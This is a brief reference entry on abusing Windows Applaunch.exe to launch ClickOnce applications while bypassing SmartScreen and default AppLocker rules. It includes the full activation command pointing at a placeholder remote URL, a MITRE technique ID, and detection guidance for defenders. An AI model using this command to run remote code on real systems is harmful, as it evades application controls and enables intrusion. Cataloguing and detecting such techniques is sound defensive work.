Applaunch.exe

Launches a ClickOnce application via `Applaunch.exe`. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.

Use Execute ClickOnce applications in environments where `dfsvc.exe` would normally enforce full-trust and SmartScreen checks. Can be abused as an AWL bypass in rare configurations.

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"

Context

user

Native

AWL Bypass

MITRE

T1127.002

Detection

IOC: Applaunch.exe rarely executes unless any ClickOnce partial trusted apps are used. Any use or invocation outside dfsvc.exe with `/activate` should be considered suspicious.

Refs

nathan2.com/posts/clicktools

learn.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment

web.archive.org/web/20060913192623/http://blogs.msdn.com/shawnfa/archive/2005/11/30/498610.aspx

lolbas-project.github.io/lolbas/Binaries/Applaunch/